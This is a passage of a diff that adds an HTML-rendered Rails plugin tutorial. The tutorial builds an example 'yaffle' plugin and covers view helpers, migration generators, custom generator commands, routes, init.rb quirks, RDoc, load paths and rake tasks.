+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/view_helpers_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">include</span></span> YaffleViewHelper
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ViewHelpersTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_squawk_info_for_should_return_the_text_and_date
+ time <span style="color: #990000">=</span> Time<span style="color: #990000">.</span>now
+ hickwall <span style="color: #990000">=</span> Hickwall<span style="color: #990000">.</span>new
+ hickwall<span style="color: #990000">.</span>last_squawk <span style="color: #990000">=</span> <span style="color: #FF0000">"Hello World"</span>
+ hickwall<span style="color: #990000">.</span>last_squawked_at <span style="color: #990000">=</span> time
+ assert_equal <span style="color: #FF0000">"Hello World, #{time.to_s}"</span><span style="color: #990000">,</span> squawk_info_for<span style="color: #990000">(</span>hickwall<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Then add the following statements to init.rb:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"view_helpers"</span>
+ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> YaffleViewHelper
+</tt></pre></div></div>
+<div class="para"><p>Then add the view helpers file and</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/lib/view_helpers.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> YaffleViewHelper
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> squawk_info_for<span style="color: #990000">(</span>yaffle<span style="color: #990000">)</span>
+ returning <span style="color: #FF0000">""</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>result<span style="color: #990000">|</span>
+ result <span style="color: #990000"><<</span> yaffle<span style="color: #990000">.</span>read_attribute<span style="color: #990000">(</span>yaffle<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_text_field<span style="color: #990000">)</span>
+ result <span style="color: #990000"><<</span> <span style="color: #FF0000">", "</span>
+ result <span style="color: #990000"><<</span> yaffle<span style="color: #990000">.</span>read_attribute<span style="color: #990000">(</span>yaffle<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_date_field<span style="color: #990000">).</span>to_s
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also test this in script/console by using the <tt>helper</tt> method:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ./script/console
+>> helper.squawk_info_for(@some_yaffle_instance)</tt></pre>
+</div></div>
+</div>
+<h2 id="_create_a_migration_generator">5. Create a migration generator</h2>
+<div class="sectionbody">
+<div class="para"><p>When you created the plugin above, you specified the —with-generator option, so you already have the generator stubs in your plugin.</p></div>
+<div class="para"><p>We'll be relying on the built-in rails generate template for this tutorial. Going into the details of generators is beyond the scope of this tutorial.</p></div>
+<div class="para"><p>Type:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>script/generate</tt></pre>
+</div></div>
+<div class="para"><p>You should see the line:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>Plugins (vendor/plugins): yaffle</tt></pre>
+</div></div>
+<div class="para"><p>When you run <tt>script/generate yaffle</tt> you should see the contents of your USAGE file. For this plugin, the USAGE file looks like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Description:
+ Creates a migration that adds yaffle squawk fields to the given model
+
+Example:
+ ./script/generate yaffle hickwall
+
+ This will create:
+ db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall</tt></pre>
+</div></div>
+<div class="para"><p>Now you can add code to your generator:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000"><</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
+ record <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
+ m<span style="color: #990000">.</span>migration_template <span style="color: #FF0000">'migration:migration.rb'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"db/migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>assigns <span style="color: #990000">=></span> yaffle_local_assigns<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>migration_file_name <span style="color: #990000">=></span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
+ <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ private
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> custom_file_name
+ custom_name <span style="color: #990000">=</span> class_name<span style="color: #990000">.</span>underscore<span style="color: #990000">.</span>downcase
+ custom_name <span style="color: #990000">=</span> custom_name<span style="color: #990000">.</span>pluralize <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>pluralize_table_names
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_local_assigns
+ returning<span style="color: #990000">(</span>assigns <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ assigns<span style="color: #990000">[:</span>migration_action<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add"</span>
+ assigns<span style="color: #990000">[:</span>class_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
+ assigns<span style="color: #990000">[:</span>table_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> custom_file_name
+ assigns<span style="color: #990000">[:</span>attributes<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #990000">[</span>Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>GeneratedAttribute<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"string"</span><span style="color: #990000">)]</span>
+ assigns<span style="color: #990000">[:</span>attributes<span style="color: #990000">]</span> <span style="color: #990000"><<</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>GeneratedAttribute<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"last_squawked_at"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"datetime"</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that you need to be aware of whether or not table names are pluralized.</p></div>
+<div class="para"><p>This does a few things:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Reuses the built in rails <tt>migration_template</tt> method.
+</p>
+</li>
+<li>
+<p>
+Reuses the built-in rails migration template.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>When you run the generator like</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>script/generate yaffle bird</tt></pre>
+</div></div>
+<div class="para"><p>You will see a new file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddYaffleFieldsToBirds <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ add_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+ add_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawked_at<span style="color: #990000">,</span> <span style="color: #990000">:</span>datetime
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ remove_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawked_at
+ remove_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_add_a_custom_generator_command">6. Add a custom generator command</h2>
+<div class="sectionbody">
+<div class="para"><p>You may have noticed above that you can used one of the built-in rails migration commands <tt>m.migration_template</tt>. You can create your own commands for these, using the following steps:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+Add the require and hook statements to init.rb.
+</p>
+</li>
+<li>
+<p>
+Create the commands - creating 3 sets, Create, Destroy, List.
+</p>
+</li>
+<li>
+<p>
+Add the method to your generator.
+</p>
+</li>
+</ol></div>
+<div class="para"><p>Working with the internals of generators is beyond the scope of this tutorial, but here is a basic example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"commands"</span>
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/lib/commands.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/commands'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Generator <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Commands <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Create
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+ file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Destroy
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+ file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> List
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+ file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt># File: vendor/plugins/yaffle/generators/yaffle/templates/definition.txt
+
+Yaffle is a bird</tt></pre>
+</div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000"><</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
+ m<span style="color: #990000">.</span>yaffle_definition
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This example just uses the built-in "file" method, but you could do anything that Ruby allows.</p></div>
+</div>
+<h2 id="_add_a_custom_route">7. Add a Custom Route</h2>
+<div class="sectionbody">
+<div class="para"><p>Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself. Jamis Buck showed a great example of this in <a href="http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2">http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2</a>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/routing_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"#{File.dirname(__FILE__)}/test_helper"</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RoutingTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
+ ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
+ map<span style="color: #990000">.</span>yaffles
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_yaffles_route
+ assert_recognition <span style="color: #990000">:</span>get<span style="color: #990000">,</span> <span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"index"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ private
+
+ <span style="font-style: italic"><span style="color: #9A1900"># yes, I know about assert_recognizes, but it has proven problematic to</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># use in these tests, since it uses RouteSet#recognize (which actually</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># tries to instantiate the controller) and because it uses an awkward</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># parameter order.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> assert_recognition<span style="color: #990000">(</span>method<span style="color: #990000">,</span> path<span style="color: #990000">,</span> options<span style="color: #990000">)</span>
+ result <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>recognize_path<span style="color: #990000">(</span>path<span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> method<span style="color: #990000">)</span>
+ assert_equal options<span style="color: #990000">,</span> result
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"routing"</span>
+ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>RouteSet<span style="color: #990000">::</span>Mapper<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>MapperExtensions
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/lib/routing.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Routing <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MapperExtensions
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffles
+ <span style="color: #009900">@set</span><span style="color: #990000">.</span>add_route<span style="color: #990000">(</span><span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"index"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: config/routes.rb</span></span>
+
+ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
+ <span style="color: #990000">...</span>
+ map<span style="color: #990000">.</span>yaffles
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p></div>
+</div>
+<h2 id="_odds_and_ends">8. Odds and ends</h2>
+<div class="sectionbody">
+<h3 id="_work_with_init_rb">8.1. Work with init.rb</h3>
+<div class="para"><p>The plugin initializer script <em>init.rb</em> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p></div>
+<div class="para"><p>If you reopen any classes in init.rb itself your changes will potentially be made to the wrong module. There are 2 ways around this:</p></div>
+<div class="para"><p>The first way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> <span style="color: #990000">::</span>Hash
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
+ <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>OR you can use <tt>module_eval</tt> or <tt>class_eval</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt># File: vendor/plugins/yaffle/init.rb
+
+Hash.class_eval do
+ def is_a_special_hash?
+ true
+ end
+end</tt></pre>
+</div></div>
+<h3 id="_generate_rdoc_documentation">8.2. Generate RDoc Documentation</h3>
+<div class="para"><p>Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.</p></div>
+<div class="para"><p>The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Your name.
+</p>
+</li>
+<li>
+<p>
+How to install.
+</p>
+</li>
+<li>
+<p>
+How to add the functionality to the app (several examples of common use cases).
+</p>
+</li>
+<li>
+<p>
+Warning, gotchas or tips that might help save users time.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.</p></div>
+<div class="para"><p>Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.</p></div>
+<div class="para"><p>Once your comments are good to go, navigate to your plugin directory and run:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>rake rdoc</tt></pre>
+</div></div>
+<h3 id="_store_models_views_helpers_and_controllers_in_your_plugins">8.3. Store models, views, helpers, and controllers in your plugins</h3>
+<div class="para"><p>You can easily store models, views, helpers and controllers in plugins. Just create a folder for each in the lib folder, add them to the load path and remove them from the load once path:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+
+<span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers helpers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
+ path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>directory<span style="color: #990000">,</span> <span style="color: #FF0000">'lib'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
+ <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000"><<</span> path
+ Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000"><<</span> path
+ Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.</p></div>
+<div class="para"><p>Adding directories to the load once paths allow those changes to picked up as soon as you save the file - without having to restart the web server.</p></div>
+<h3 id="_write_custom_rake_tasks_in_your_plugin">8.4. Write custom Rake tasks in your plugin</h3>
+<div class="para"><p>When you created the plugin with the built-in rails generator, it generated a rake file for you in <em>vendor/plugins/yaffle/tasks/yaffle.rake</em>. Any rake task you add here will be available to the app.</p></div>
+<div class="para"><p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/tasks/yaffle.rake</span></span>
+
+namespace <span style="color: #990000">:</span>yaffle <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ desc <span style="color: #FF0000">"Prints out the word 'Yaffle'"</span>
+ task <span style="color: #990000">:</span>squawk <span style="color: #990000">=></span> <span style="color: #990000">:</span>environment <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ puts <span style="color: #FF0000">"squawk!"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>When you run <tt>rake -T</tt> from your plugin you will see:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>yaffle:squawk # Prints out the word 'Yaffle'</tt></pre>
+</div></div>
+<div class="para"><p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p></div>
+<h3 id="_store_plugins_in_alternate_locations">8.5. Store plugins in alternate locations</h3>
+<div class="para"><p>You can store plugins wherever you want - you just have to add those plugins to the plugins path in <em>environment.rb</em>.</p></div>
+<div class="para"><p>Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.</p></div>
+<div class="para"><p>You can even store plugins inside of other plugins for complete plugin madness!</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>plugin_paths <span style="color: #990000"><<</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>RAILS_ROOT<span style="color: #990000">,</span><span style="color: #FF0000">"vendor"</span><span style="color: #990000">,</span><span style="color: #FF0000">"plugins"</span><span style="color: #990000">,</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span><span style="color: #FF0000">"lib"</span><span style="color: #990000">,</span><span style="color: #FF0000">"plugins"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_create_your_own_plugin_loaders_and_plugin_locators">8.6. Create your own Plugin Loaders and Plugin Locators</h3>
+<div class="para"><p>If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process. You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.</p></div>
+<h3 id="_use_custom_plugin_generators">8.7. Use Custom Plugin Generators</h3>
